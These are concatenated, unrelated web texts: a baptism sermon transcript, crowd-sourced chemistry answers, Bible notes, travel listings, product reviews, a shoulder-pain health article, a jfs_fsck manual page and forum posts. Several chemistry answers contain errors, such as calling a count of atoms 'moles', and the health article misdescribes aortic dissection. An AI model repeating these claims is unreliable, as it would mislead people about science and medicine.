The first time I was baptized, I was up in a cave, baby Christian, just read the Bible, accepted Jesus. And I'm sitting in my cave yard there one day doing what cavemen do. And somebody came--two guys came hiking into my yard. I rarely saw people. I'd go days without seeing anybody.
And these guys come into the yard, and they stopped, obviously, to visit with me for a few minutes. One of them asked, he says, "are you a Christian?" And I had accepted Jesus at this point up in the cave though, I was, albeit, a very baby Christian. And I said, "well, yes, I am." And they saw the Bible was sitting there right on my five-gallon bucket where I kept it. And they said, "well, have you been baptized?" That was their next question. And I had run into it reading the Bible.
I said, "well, no, I haven't. You know, just for whatever reason I knew it was something that needed to happen, but I just hadn't really thought about it. They said, "oh, you gotta be baptized." And two of them, they huddled around me and they went through just a machine gun Bible study. And they said, "you need to get baptized." Right outside my cave was a beautiful waterfall and a nice deep pool that you could dive in. And the water from the cave came from the melting snow on top of mount san jacinto and this was the springtime and it was cold.
And so they said, "you know, you should be baptized." I said, "all right." You know, I didn't want to argue with them. They obviously knew their Bibles, and so I went out there and went down in the water and got baptized and came up. And I definitely felt born again because that water was so cold that when you came out of it-- and then they went hiking off up the trail. And I'm sitting there by myself, I go, "wow, this is great. I've been baptized.
I gotta tell my friends." So I went to town, I found one of my friends. I said, "let's go get some beer and celebrate. I got baptized." It's really what happened. Before the sun went down that day, I was in jail telling my friends about Jesus. I'm telling you, I emphasize, I was a baby Christian.
And I hadn't broken any major crimes. I--you're saying, "well, how'd you end up in jail?" I was something of a vagrant back then and that's what it was all about is these police were trying to clean up palm springs. I was living in the canyon. I kind of was a little rough around the edges and so they arrested me and my friend. Anyway, but I thought, "praise the Lord.
" So here I am witnessing in jail but I always thought, "you know, I didn't know what was going on." So years later, when I learned some of the things that I'm sharing with you. What a real Christian commitment is about. The pastor who worked with me-- I realized I needed to be rebaptized. By the way, I quit smoking. I was rebaptized, 30 years I haven't had a cigarette in my mouth.
By God's grace, he'll set you free from those things. Number 11, "does a person receive the Holy Spirit when they're baptized?" Well, they should. The promise of Peter was acts 2:38... Does he say, you might, you may, you could or does he say you shall?" So many people are baptized and they're not taught about the promise of the gift of the Holy Spirit and certainly babies aren't taught that. You cannot live the Christian life without the Christian spirit anymore than Jesus.
Jesus needed the Holy Spirit at his baptism for his ministry. Now you might be thinking, "well, Pastor Doug, we know that Christ was anointed with the Holy Spirit at the same time he was baptized. Does it always happen that way?" No, sometimes it happens in other sequence. You read in the Bible about the apostles, Peter, James, John. They were baptized with the Holy Spirit after their baptism at pentecost.
Then you got the story in acts 10 of cornelius and his family. They were baptized with the Holy Spirit before their baptism. But you need both. Born of the water, born of the Spirit. You need both.
They may not happen simultaneous. You could be baptized by the Holy Spirit right now. But there's a promise that when you commit your life to the Lord and you are baptized, as you step out to live the Christian life, God gives you the Christian spirit. Number 12, "how does God feel about the baptism of a converted person?" It tells us in Mark 1:9... Now I want to take a moment and look with you at the baptism of Jesus.
By the way, you may want to turn to this in your Bibles to Matthew 3. And we're gonna just do a real quick Bible study on this subject of baptism, because why was Christ baptized? To wash away his sin or as an example for us, for one thing? You read here in Mark-- I'm sorry, Matthew 3:16, "then Jesus, when he was baptized, he came up immediately from the water and behold the heavens were open to him." Stop. When you are baptized, the heaven are open for you. You see, when you're baptized, you are then chronicled as a child of God. Not everybody walking the world is a child of God.
Jesus said to the scribes in pharisees, "you are not Abraham's children. You're of your father, the devil." So all of these mushy sermons you may have heard from preachers say, "we're all God's children." The Bible doesn't teach that. You are all God's creation but there's some people out there that are children of the devil. They are living for the devil. When you commit your life to the Lord, you are a child of God.
Now you've got access to heaven. The resources of heaven through prayer, it's open to you. The heavens were open. What else happened to Jesus? It says, "and behold he saw the Spirit of God." Is the promise of the Holy Spirit offered to you? "Descending like a dove." Was does a dove symbolize? Peace. Peace comes into your heart.
Oh, friends, I'll tell you, there is no peace like the peace that comes through a person who knows that they're where God wants them to be. If you know that you are where God wants you to be, like Peter, you can sleep on death row. Like Jesus, you can sleep through a storm. You've got that peace that passes all understanding. The Holy Spirit will give you a peace that people will envy.
They'll sense there's something about you. "A peace came in the form of a dove, the Holy Spirit came to him. And it alighted upon him and suddenly, a voice came from heaven." Now Jesus is hearing a voice from heaven. Will God speak to you with his voice in a special way after baptism? See, once you commit your life to the Lord, you're then saying, "Lord, here am, I send me. What do you want me to do?" And he gives you a guidance.
Once you commit your way to the Lord, he will guide you in a way unlike before. Baptism's like marriage. A lot of people are dating the Lord, but they're not married. Now I want to ask you: if you go back to the appropriate method, isn't it right that while you might love somebody, while you're dating them, there are certain rights you're not supposed to have until after marriage. Say, "amen.
" Certain privileges, certain rights, certain access, certain intimacy, you don't have until after marriage. After baptism you are married, there is an intimacy there that you did not have before because you have made the commitment to Jesus. "A voice came from heaven saying, "this is my beloved son." You and I should hear, by faith, God saying when we're baptized, "you are now my beloved son, my daughter in whom I am well pleased." You are adopted into the family as a child of God. And he says, "I am well pleased. I'm not just pleased.
I am well pleased." Who doesn't want the approval of their parents? Don't you want the approbation of your Heavenly Father? All that happened to Jesus--and then what did Jesus do? Did he park there on the banks and say, just meditate, "now I'm baptized," or did Christ begin his ministry at his baptism? God's got a ministry for you and when the Holy Spirit comes into your life, he is gonna give you gifts of the Spirit for ministry. That all happened with the baptism of Jesus and--I've gotta be fair-- what happened after the children of Israel crossed the red sea? They had a little celebration, but then were they attacked by the amalekites? Were there tests and were there temptations and were there trials? See, when you join the winning team, the devil is threatened. You've escaped from the devil's top security prison. He's infuriated and so there's gonna be trials. When Jesus was baptized, did the devil come after him? I'm just being fair.
You know sometimes I think it's unfair if a pastor tells someone, "just get baptized. Everything will be wonderful." It will be wonderful for a while. You'll have a honeymoon with the Lord, and then you've got the marriage. I didn't mean it to come out that way. Sorry, dear.
I didn't mean it that way. But you knew what I meant. Yeah, no, the Lord, they'll be a time of celebration. But the Christian life, you know, there's gonna be trials. They'll be temptation.
How did Jesus meet with every temptation that came in the wilderness? He said, "it is written. It is written. It is written." Luke 7:30, it says here, "but the pharisees and the lawyers rejected the counsel of God against themselves being not baptized of John the baptist." When they were not baptized, the Bible says they rejected the counsel of God. Number 13, "can a person experience true baptism without becoming a member of God's church?" What does the Bible say? Acts 2:41... They were baptized into Christ.
The Bible says, "you're baptized into Christ." What is the church? It's the body of Christ. Baptism is where you become part of the family, a baby that is born-again that is not in a family, a lamb that is not in the fold, the wolves are gonna get it. And people will say, "I want to be baptized, but I don't want to be part of a family." I think that's a little dangerous, don't you? Now, it would not be appropriate for me to present a message like this without doing what Jesus did and what John the baptist did. Jesus began his ministry by saying, "repent for the Kingdom of heaven is at hand." John said, "repent and be baptized." Peter said, "repent and be baptized." Elijah prepared people for the Lord. He prepared a way for the Lord.
John the baptist prepared people for Christ's first coming. We want you to understand the return of Elijah and be prepared for Christ's second coming. There may be some here who have never made that decision to be baptized. At the sites that have registers in here in barrien springs at the pioneer memorial church, you should have a card that's not far from your hands, and it gives you an opportunity to make a decision. I'd like to look at that card with you right now.
They're gonna put it up on the screen, and I want you to be praying. Write your name on the card, please. You can even find the card at our website, you who are watching at home, some are watching on the internet. You can go right there to www.mostamazingprophecies.com. We'd like to encourage you to make a decision about what you've heard.
Let me tell you what the first question is. "I believe baptism by immersion is God's plan for Christ's followers." If that's something you believe is true, check that. Second question, "I choose to fully surrender my life to Jesus accepting him as my Lord and personal Savior." I want you to check that spot, and I hope that you are praying with me right now as people are weighing these decisions. And I'm gonna be praying with you. Number three, "I want to be ready for Jesus' return and follow his example of baptism by immersion.
" Maybe you've given your heart to Jesus but you'd like to prepare for baptism. It doesn't mean anybody's gonna knock on your door and twist your arm and try and make you get baptized before you're ready. It's your wedding. You set the date. Amen? When you're ready.
But you can make the decision now. Number four, "I've wandered away from Jesus, and I wish to rededicate my life to him through rebaptism." Some of you maybe were not baptized biblically, you need to be rebaptized. Some of you maybe have learned so much, you realize that you need to recommit your life and take a stand for the truth. Others, you've wandered, you've backslidden, you need to get remarried. Amen? I would like for you to fill this card out.
And maybe you've got questions, you'd like one of your group leaders or somebody here at the pioneer memorial church to visit with you and answer questions. Check that last box, "I'd like to have someone visit with me." Friends, these are very important issues. We got a letter at the office today; one of our group's young man from iraq had been coming to the meetings night after night, accepted Jesus during one of our appeals. And we got an e-mail that he died, I think last night or yesterday, 26 years old. We are so thankful he made his decision.
Is the Holy Spirit speaking to you? You need to make your decision. Why would you say no to Jesus? I want John to come and sing, and I want to have prayer with you in just a moment. And those who are watching, we want a prayer for you. We're hoping that you're distributing your cards here at the pioneer memorial church. You can leave them with the ushers, and we'll pray over your cards and help you process those decisions.
[Music] there is a fountain filled with blood flowing from immanuel's veins. And sinners plunged beneath that flood lose all their guilty stains, they lose all their guilty stains, lose all their guilty stains. And sinners plunged beneath that flood lose all their guilty stains. Amen. I pray that the Holy Spirit has had his way in your life.
Those of you who need to make this decision to be washed, to begin a life, a spirit-filled life of following Christ; preparing others for his return. That was the ministry of John and Elijah. And take your cards, fill them out, turn them in. We'll be praying for you to make your decisions. And I'd like to pray with you right now.
Some are even struggling in the valley of decision. Please bow your heads with me, very important decisions being made. Dear eternal father, we are so grateful for the truth that we can have a new beginning and this wonderful ceremony of baptism represents that cleansing, that new birth, death of the old man, resurrection of a new creature that all the old life can be washed away and we can become new creatures in Christ. What a privilege, Lord. Help us by your grace to follow Jesus into those waters of Jordan that we might be born-again in his likeness.
Bless those who might be struggling with this decision. And I pray that your Holy Spirit will have the victory in their lives and in their decisions right now. Be with each person, continue to bless this seminar and prepare us for Jesus' return. We ask in his name, amen. God bless you and the Lord be with you.
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How many moles each of Na and Cl are in 0.500L of the saline solution?
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This depends on the concentration of sodium chloride in water.
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Molarity = moles of solute/Liters of solution5 M MgSO4 = moles MgSO4/1 L5 moles MgSO4=============since all is one to one in ion countMg 2+ = 5 moles--------------------------andSO4 2- = 5 moles----------------------
50 mM NaOH solution means that there are .050 moles of NaOH for each liter or solution. Likewise for 5 M meaning 5 moles per liter. So, 5 moles/liter * 1 liter = 5 moles. So you have 5 total moles of NaOH. You want to use that to make a 50 mM solution. In order to dilute 5 moles/liter down to .050 moles/liter, you have to add water. For example, if you only want 1 liter of the final .050 M solution, then you only need .050 moles of NaOH. So you take the 5M solution and find out how much contains .050 moles of NaOH. 5 moles/liter * x liters = .050 Moles .050 Moles / 5 moles/liter = .01 liters. So .01 Liters, or 10 milliliters of the 5 M solution, combined with 990 milliliters of water makes 1 liter of .050 M solution.
Molarity is moles in every litre. Therefore you have to convert this to find out the moles in each litre. 21/52 is 0.404 molar.
250 mL is 0.250 liter. By definition, each liter of a 5.00 M solution contains 5 moles of sodium hydroxide, and each mole of sodium hydroxide contains one mole each of sodium and of hydroxide ions. Therefore, the specified volume of the specified solution contains 0.250(5.00) or 1.25 moles of hydroxide ions, to the justified number of significant digits.
By the definition of molarity, which is mass of solute in moles divided by solution volume in liters, 250 ml of 0.15 M NaCl* solution requires (250/1000)(0.15) or 0.0375 moles of NaCl. Each liter of 2M NaCl solution contains 2 moles of NaCl. Therefore, an amount of 0.0375 moles of NaCl is contained in (0.0375/2) liters, or about 18.75 ml of the 2M NaCl, and if this volume of the more concentrated solution is diluted to a total volume of 250 ml, a 0.15 M solution will be obtained. _________________ *Note correct capitalization of the formula.
The molarity of a solution is the amount of substance in a given amount of solute. The units are usually given as moles per liter (or dm3). As such, for each liter you have 0.5 moles of substance (2 divided by 4), so it's a 0.5 molar solution.
In order to understand what an isotonic solution is used for you must first understand each word. The word "isotonic" simply means "of equal tension". The word "solution" means "a mixture of two or more substances". Therefore and isotonic solution is a balanced mixture. The most common isotonic solution is a saline solution.
It depends on which Saline County you want. There are five Saline Counties across the US in different states. The county seats for each Saline County is as follows: * Saline County, Arkansas: Benton * Saline County, Illinois: Harrisburg * Saline County, Kansas: Salina * Saline County, Missouri: Marshall * Saline County, Nebraska: Wilber
The same number of moles for each.
The melting point of water is lowered by 1.85 degrees Celsius if 29.2 grams of salt are dissolved in each Kg of water (called a "0.5 molal solution" of salt). So normal saline, a 0.9 molal solution), is lowered juts less thantwice this or 3.33 deg C. So normal saline freezes at -3.33 deg C or 26 deg F.
There are 73.5 moles of P4O10 per kg of solution. Each P4O10 molecule weighs approximately 283.88 g. P makes up 123.88 or about 77.43% of this. 73.5 moles of P4O10 weighs about 20865.18 g. 77.43% of 20865.18g is 16155.91 g. Multiply this by the inverse of the molar mass of P (30.97g /mol) and your answer should be approximately 521.66 moles of P.
The first solution is more concentrated because it contains 6 moles of H2SO4 per one liter of solution. The second solution is less concentrated because it contains 0.1 moles of H2SO4 in one liter. In equal amounts of each example, the first would have more H2SO4.
A neutral solution can contain ions of hydrogen, hydroxide, and the cation and anion of any neutral salt. There are equal numbers of hydrogen and hydroxide ions, and also an equal (but usually different) number of the other pair of ions.
Avogadro's number of 6.02x10^23 is the quantity of particles in one mole of any given. Similarly for each mole of water, or H20 there are 2 moles of hydrogen atoms. 6 moles of water thus contains 12 moles of hydrogen. Multiplying 12 by Avogadro's number yields the solution of 7.2x10^24 moles of hydrogen.
Since the formula shows two sodium atoms in each formula unit of sodium sulfate and this compound normally completely ionizes in water solution, the number of sodium ions will be twice the number of moles of the salt; in this instance, 1.0 moles of sodium ions.
molarity (M) is the concentration of moles (n) of a solute per liters (v) of solution M=n/v
Your question is a little ambiguous. However, in general, there is normality, molality and molarity which each describe the concentration of a solute into a solvent. The fraction of moles of solute to solvent could correctly be termed the "molar fraction" or, "molal fraction" depending on whether the solvent is expressed in volume or weight respectively. By contrast, normality is based on the chemical functionality of the solute, for example a 1M solution of sulfuric acid would be about a 2N solution of acid.
1.5 moles of N2O5 Each molecule of NO3 contains one atom of nitrogen, so 3 moles of the compound will contain 3 moles of N atoms. However, N2O5 molecules each contain two nitrogen atoms, so each mole of N2O5 has two moles of nitrogen. So, in order to have three moles of N atoms, you need only 3/2 = 1.5 moles of N2O5.
Every cell in the body operates on the requirement of a specific saline content. Despite the fact that animals have been on land for hundreds of millions of years, each cell must be bathed in saline solution nearly the same as that found in the oceans.
In each mole of ethanol there are two moles of carbon atoms. One mole of carbon atoms is required to form one mole of carbon dioxide, so two moles will form two moles. Thus each mole of ethanol completely combusted will form two moles of carbon dioxide.
The chemical equation for the decomposition of H2O2 is 2 H2O2 -> 2 H2O + O2. This shows that two moles of H2O2 are required to produce each mole of O2. By definition, a 0.500 M solution of H2O2 contains 0.500 moles of H2O2 in each liter of solution. Solutions are always homogeneous; therefore, 50,0 mL of such a solution will contain (0.500)(50.0/1000) or 0.0250 moles of H2O2. As noted in the first paragraph, this will produce half as many, or 0.0125, moles of O2. The gram molar mass of O2 is twice the gram atomic mass of oxygen, or 31.9988. Therefore, decomposition of this amount of H2O2 will produce 31.9988 X 0.0125 or 0.400 gram of O2, to the justified number of significant digits.
1 mole of carbon and 4 moles of hydrogen
The number of units indicated by each description of moles of atoms and moles of molecules is the same and is specifically Avogadro's Number, about 6.022 X 10^23
Boron trifluoride is BF3. So each mole of BF3 contains 1 moles of boron (B) and 3 moles of fluorine (F). Thus, 3 moles of BF3 contains NINE moles of fluorine.
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global_05_local_5_shard_00002591_processed.jsonl/40934 | Genesis 4:9 is when Cain earns a reputation as the first murderer and the illustration attempts to depict the first "attitude" (who am I my brother's keeper?) Cain couldn't accept God's disregard for his offering and accepting Abel's. It wasn't fair. Cain was a farmer and Abel kept sheep so a lamb offering was easy for him. Sacrifices to God were never meant as achievement contests and blood was required for sin offering. Cain knew this but believed the fruit of good work could cover any "alleged" sins. Instead of repenting, he kills his brother and settles east of Eden with his attitude in the land of Nod (unrest and wandering). God would keep to His own rule 4000 years future with His personal sacrifice.
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İkizler Köyü, Turkey
Armenian Cathedral of the Holy Cross
An ancient church on a tiny island covered in stone bible stories has controversially been turned into a museum.
Doğubeyazıt, Turkey
Ishak Pasha Palace
Ocaklı Köyü, Turkey
Minuchir Mosque of Ani
Remnants of successive wars and Muslim colonialism in the 11th century.
Karabağ Köyü, Turkey
Cathedral of Mren
This ancient abandoned church in a remote part of Turkey is in danger of falling over.
Ocaklı Köyü, Turkey
Ani Ghost City
An abused and forgotten metropolis, abandoned for centuries.
Kars, Turkey
Monument to Humanity, Kars
Akarsu Köyü, Turkey
Sumela Monastery
A Turkish monastery tucked into a cliff wall.
Safranbolu, Turkey
Safranbolu, Turkey
Ottoman-era houses lovingly preserved.
Beyoğlu, Turkey
Camondo Stairs
A gorgeous, Gaudí-esque stairway constructed in the city of Istanbul by a prominent Jewish family.
Üsküdar, Turkey
Ottoman Bird Palaces
The ornate miniature mansions were built for Istanbul's feathered residents.
Istanbul, Turkey
A meow-velous tribute to a beloved street cat, made famous on the internet.
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global_05_local_5_shard_00002591_processed.jsonl/40949 | BMW's CDC (ConnectedDrive Connect) is semi-autonomous driving system, which has started testing in August, last year. However, the manufacturer has released a new video, where more details have been revealed.
Actually, the BMW F10 ConnectedDrive can go on its own, but it only works on pre-mapped highways by pinpointing the car's position and the location of surrounding objects. The CDC can control braking and acceleration like an advanced cruise control system. It also looks for an open lane where it can safely merge at speeds up to 130 km/h. If there is another vehicle, which drives slower, the CDC steers to a free line, passes the car and returns to its original lane.
"Our main challenge was to develop algorithms that can handle entirely new situations. In principal, the system works on all freeways that we have mapped out beforehand with [a] centimeter accuracy.", commented Dr. Nico Kaempchen.
By now this has driven over 5000km in the highly-automated mode on freeways.
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global_05_local_5_shard_00002591_processed.jsonl/40979 | Review // Lush Million Dollar Moisturiser
Lush Milion Dollar Moisturiser Review
At first, Million Dollar Moisturiser has a pleasant creamy scent with a blend of jojoba oil, shea butter and honey. Combined with tonka, lavender and sesame oil, the overall effect is a warming, almost vanilla-like fragrance. However, for reasons that I am yet to understand, when I start applying it to my face, it smells exactly like Savlon. Not exactly the luxurious effect that the name would suggest!
What really drew me towards this moisturiser, if I'm honest, is the iridescent shimmer to it. I'm not sure how it's created but it glistens like a mermaid's tail and I got a bit carried away! Then, of course, there's the fact that it's super thick and my skin needs all the nourishment it can get. Unfortunately, it's way, way too thick. When applying, it's gloopy and I find it very difficult to rub into my skin evenly. In fact, it applies exactly like sunscreen which may have something to do with the fact it's SPF 30.
Don't get me wrong, I love a sunscreen but I was looking for a moisturiser with SPF, rather than a sunscreen with some moisturising qualities. I have found that it's doing a good job of protecting my skin- no redness or sensitivity here, even when I've been in the sun- but, bizarrely considering the thick consistency, I haven't actually found this moisturiser as nourishing as the others I've tried. What's more- that shimmer doesn't even transfer onto my skin.
Lush Million Dollar Moisturiser SPF Review
Remember the Lifesaver sunscreen I was horrifically allergic to (and strangely wasn't brought back the following summer)? Million Dollar Moisturiser seems to be a replacement for this. It's going to be great to have on hand in the summer but I won't be using it as my daily moisturiser.
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2. Such a shame to hear this wasn't great. I've yet to try a Lush facial moisturiser but I'll steer clear of this one I think! x
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8 Causes of Shoulder Blade Pain and How to Treat It
Do you experience shoulder blade pain? Do you know where your shoulder blades are?
They’re the broad bones found in the back just behind your shoulders. They serve as a midway point where muscles and tendons run.
Unfortunately, shoulder blade pain is very common. In some cases, it can simply be a sign of tiredness, but it could also be a signal of something more serious.
Work, study, obligations, and household chores can all put our backs under a lot of strain. And that’s without thinking about any physical work you might have to get your shoulders to do.
Causes of Shoulder Blade Pain
1. Poor Posture
It’s really important to maintain good posture, since your shoulder blades are connected to tendons. In addition, a lack of sleep or remaining in a particular position for too long can be damaging for your back.
But how do you know whether you have good posture or not?
• Stand up and put your back against a wall.
• Make sure that your head, buttocks, and most of all your shoulders are touching the wall.
• You’ll know you’ve done it right if you can pass your hand through the curve that is formed by your lower back.
2. Poor Diet
An unbalanced diet weakens your muscles. This could be from eating too much fat, or not getting the nutrients and vitamins that you need. Consequently, you’ll end up with terrible back pain, particularly in your shoulder blades.
3. Muscle Tension
One very common cause of shoulder blade pain is muscle tension. This can be caused by excessive physical exertion, carrying something heavy, or by an awkward movement.
The shoulder blades are connected to the entire musculoskeletal system. Therefore, when we feel tension, we may feel pain around, above, between, and beneath the shoulder blades.
4. Heart Problems
One of the more serious causes of pain in the shoulder blades is aortic dissection. This is where there is a break in the artery that delivers blood to the heart. Therefore, this is a very serious condition.
This can cause pain in the lower back as much as the upper back. It’s very important that you don’t ignore these symptoms, as it could be a warning of a potential heart attack.
5. Fractures
In order to suffer a shoulder blade fracture, there has to have been a strong impact.
However, a break or fracture of the bones or ligaments will cause intense pain straight away, so it’s crucial that you go straight to a doctor. An accident of this magnitude could even cause death.
6. Arthritis
This particular condition is very common in older people and it mainly affects the joints.
Arthritis causes pain and inflammation which gets worse over time and with more physical activity. Sometimes, knots can appear in the area above the shoulder blades and it can also cause deformities.
7. Osteoporosis
Osteoporosis is a condition where the bones lose density. This weakens them and causes pain, particularly in the arms and the spine. The bones can become so weak that it’s possible to suffer a shoulder blade fracture.
8. Cancer
It’s not very common at all, but it’s possible that pain in either shoulder blade can be caused by a tumor. If the tumor develops in the upper part of the lungs, the pain can be felt around the shoulder blades.
This sort of pain will be intense and constant and will intensify at night and when lying down. If you suffer these sorts of symptoms you should go straight to your doctor to discount a malignant tumor.
Treating Shoulder Blade Pain
Regardless of what is causing your pain, whether it be serious or mild, there are a variety of treatments you can turn to, such as medication, physiotherapy, or changing your habits. You should only resort to surgery in very serious cases.
• Take care over your diet.
• Do physical activity. Try yoga.
• Try physiotherapy and back massages.
• Avoid highly stressful situations.
• Try to change your posture from time to time at work.
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global_05_local_5_shard_00002591_processed.jsonl/40997 | 30 3 Concerning vows. 4 The vow of the maid, 7 Of the wife, 10 Of the widow or divorced.
Then Moses spake unto the children of Israel according to all that the Lord had commanded [a]him.
Moses also spake unto the heads of the tribes [b]concerning the children of Israel, saying, This is the thing which the Lord hath commanded,
Whosoever voweth a vow unto the Lord, or sweareth an oath to bind [c]himself by a bond, he shall not [d]break his promise, but shall do according to all that proceedeth out of his mouth.
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1. Numbers 30:1 Hebrew, Moses.
2. Numbers 30:2 Because they might declare them to the Israelites.
3. Numbers 30:3 Hebrew, his soul.
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global_05_local_5_shard_00002591_processed.jsonl/41024 | Breast Enhancement Pills And Creams – Do They Really Work?
Information and Reviews About Breast Enhancement Creams and Pills
Exercises For Breast Size Enhancement
Each year there are approximately 300,000 women in the United States who choose to have breast augmentation surgery done. This means that a significant number of women are unhappy with their natural breast size. However, these women need to know that surgery isn’t their only option. There are also simple, yet effective exercises for breast size enhancement that can be done at home.
Understanding Exercises for Breast Size Enhancement
Breasts are mainly composed of tissue that doesn’t have any muscles in it, which accounts for their shape and size that can’t be altered via exercise. For this reason, the exercises that are recommended for breast enhancement work on your pectoral muscles that lie directly beneath your breasts. Regular exercise can firm up this area, causing your breasts to become perkier and thus look bigger.
The Top 5 Exercises for Breast Size Enhancementexercises for breast size enhancement
Whenever you’re ready to start doing breast enhancement exercises there are 5 that you should really consider doing:
1. Wall-ups are a simple, yet highly effective, exercise. They are like push-ups but utilize the wall instead of the floor. Simply place yourself 2 feet away from the wall with your feet shoulder length apart. Place the palms of your hands on the wall with your arms bent. Now lean forward until your nose touches the wall and stay there for 10 seconds before repeating.
2. Flies will require a pair of dumbbells — 1 for each hand. Lay on an exercise bench with your arms stretched out so that they’re level with your shoulders and parallel to the floor. Slowly lift the dumbbells up over you so that they are close enough to touch before bringing your arms back to their original position. For best results, keep your arms straight except for a slight flex at your elbows.
3. Chest dips are done on an exercise dip bar. Herein you’ll want to grab onto the bars pulling your body upwards. Now incline your body slightly outwards so as to give your chest a little extra attention. Next, descend back to your original position while keeping your chest in the same forward position. You’ll want to do this exercise 20 to 30 times per day, everyday, in order to get the best effect.
There are also 2 different types of push-ups that work well here:
1. Rotation push-ups are a modified type of standard push-up. You’ll need to be on your toes and palms while keeping your body straight. Make sure to keep your arms shoulder-width apart, if not wider. Now bend your arms before straightening them again. Once you have done this you’ll want to raise your left arm and rotate your chest to the left. Do the same for your right side next.
2. Elevated push-ups take more effort but this is what makes them really impactful. The only way in which these push-ups are tweaked is by placing your feet on either a bench or a set of steps. You’ll still be on your palms and toes but your palms are flat while your toes remain elevated. Once you’re in this position you’ll want to bend your arms, bringing your body down as low as possible before pushing your body back upwards by straightening your arms.
Now that you know about the top 5 exercises for breast size enhancement you’ll be able to have firmer, better looking breasts. While this won’t increase your cup size, you’ll still see a major improvement in just a few months.
You can also augment this even further by using Total Curve, which is a natural breast firming gel.
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global_05_local_5_shard_00002591_processed.jsonl/41056 | Magpie by Katherine Koller
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Magpie is a parolee surveillance officer who keeps her eyes on the boy in the basement, Reggie, who's been convicted of sexual assault and murder. Reggie's cute, Magpie's fat, and they both want out. Reggie tries to get Magpie at her own game, food, until he finds himself dying to break bread with a woman who wants revenge.
Year Printed: 2002
First Produced: In 2001 at Jagged Edge Lunchbox Theatre, Edmonton.
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global_05_local_5_shard_00002591_processed.jsonl/41069 | jfs_fsck [ -afnpvV ] [ -j journal_device ] [ --omit_journal_replay ] [ --replay_journal_only ] device
jfs_fsck is used to replay the JFS transaction log, check a JFS formatted device for errors, and fix any errors found.
device is the special file name corresponding to the actual device to be checked (e.g. /dev/hdb1).
jfs_fsck must be run as root.
jfs_fsck should only be used to check an unmounted file system or a file system that is mounted READ ONLY. Using jfs_fsck to check a file system mounted other than READ ONLY could seriously damage the file system!
If no options are selected, the default is -p.
Autocheck mode - Replay the transaction log. Do not continue fsck processing unless the aggregate state is dirty or the log replay failed. Functionally equivalent to -p. Autocheck mode is typically the default mode used when jfs_fsck is called at boot time.
Replay the transaction log and force checking even if the file system appears clean. Repair all problems automatically.
-j journal_device
Specify the journal device.
Open the file system read only. Do not replay the transaction log. Report errors, but do not repair them.
Omit the replay of the transaction log. This option should not be used unless as a last resort (i.e. the log has been severely corrupted and replaying it causes further problems).
Automatically repair ("preen") the file system. Replay the transaction log. Do not continue fsck processing unless the aggregate state is dirty or the log replay failed. Functionally equivalent to -a.
Only replay the transaction log. Do not continue with a full file system check if the replay fails or if the file system is still dirty even after a journal replay. In general, this option should only be used for debugging purposes as it could leave the file system in an unmountable state. This option cannot be used with -f, -n, or --omit_journal_replay.
Verbose messaging - print details and debug statements to stdout.
Print version information and exit (regardless of any other chosen options).
Check the 3rd partition on the 2nd hard disk, print extended information to stdout, replay the transaction log, force complete jfs_fsck checking, and give permission to repair all errors:
• jfs_fsck -v -f /dev/hdb3
Check the 5th partition on the 1st hard disk, and report, but do not repair, any errors:
• jfs_fsck -n /dev/hda5
The exit code returned by jfs_fsck represents one of the following conditions:
No errors
File system errors corrected and/or transaction log replayed successfully
File system errors corrected, system should be rebooted if file system was mounted
File system errors left uncorrected
Operational error
Usage or syntax error
Shared library error
If you find a bug in JFS or jfs_fsck, please report it via the bug tracking system ("Report Bugs" section) of the JFS project web site:
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There are still hundreds of physical Christian Bookshops all across the UK, but if we want them to remain, we all need to be using and supporting them. Over recent years, bricks and mortar shops have taken a battering from all sides including:
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global_05_local_5_shard_00002591_processed.jsonl/41149 | Lot 164 - 1968 BMW 2000 CS
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Auction Legende et Passion May 2016
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Lot Number 164
Reg. Number EU Registered
Chassis Number 1108579
Year 1968
Make BMW
Model 2000 CS
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The BMW “New Class” Series of cars were introduced in 1962. These compact, well built and fun to drive cars became a benchmark for this type of car for decades to come. The 2002 variant, which was most famous in America, remains a cult car today. The excellent chassis featured rear wheel drive with fully independent suspension and front disk brakes. The fine four-cylinder BMW powerplant, in its final evolution as a two-litre, was most potent and tuneable, and the cars were well known for many racing exploits both in Europe and in the US.
BMW wanted to offer a more upscale GT type Coupe based on the “New Class” platform, so they turned to German coachbuilder Karmann to produce the bodies for the 2000 C series. The new Coupe was penned in house by BMW’s legendary designer Wilhelm Hofmeister, famous for the Hofmeister-Knick — the iconic upwards kink on the lower window-line of the C- or D-Pillar found on most BMW’s to this day.
The stylish new Karmann-bodied coupe bodywork, combined with BMW’s brilliant two-litre overhead-cam engine, made a compelling package and its sales were only hampered by its premium price. The 2000 C would eventually serve as the basis for the legendary BMW E9 coupes.
This lovely example is presented in white with leather interior and enjoys a manual gearbox. On file, there is evidence to be seen of its cosmetic restoration. These models were one of the most expensive BMW produced at this time and is now highly sought after. An opportunity definitely not to be missed.
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global_05_local_5_shard_00002591_processed.jsonl/41201 | Can I make requests?
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Is it okay to request songs I want played, or songs I don't want played? Are DJs usually okay with that sort of thing?
I do take in consideration of the songs that are more or less likable
I take most request if they fit the event but at a private event the guest gets what they want. I do warn, nicely if it will kill the mood.
Yes you can make request. Doesn’t matter if the dj likes it or not every one has the chance to here what they want. And treat every one who request songs equally. (Make sure you tip when you ask for a song.)
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global_05_local_5_shard_00002591_processed.jsonl/41235 | Tradestation Securities?
Discussion in 'Retail Brokers' started by qdz, Dec 21, 2002.
1. qdz
I wonder if any agent or customer with Tradestation Securities (TS) here can answer some of my question below? Although I can look them up on their web site or talk to them on phone, I prefer to get some first-hand direct opinions here. If you can give an URL to the question, it is rather good. If you tell me your true experience and feeling about Tradestation Securities and Software, I appreciate it very much.
1. Do you think TS is secure and reliable from financial, service, execution, and platform point of view?
2. How is their support service?
3. What is the requirement to open an account (type: non IRA/IRA etc)? What are the products, stocks, futures, options, mutual funds, bonds etc? Any interest paid for unused cash?
4. What are the commission structure? Is it universal to all types of accounts? Other fees?
5. Is it easy to get money transferred in and out?
6. Is the software free when opening any account? Or there are different stories for different accounts?
6. Any further obligations applied to the customers?
7. Any feedback.
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global_05_local_5_shard_00002591_processed.jsonl/41236 | TWS Problems
Discussion in 'Trading Software' started by easyrider, May 2, 2002.
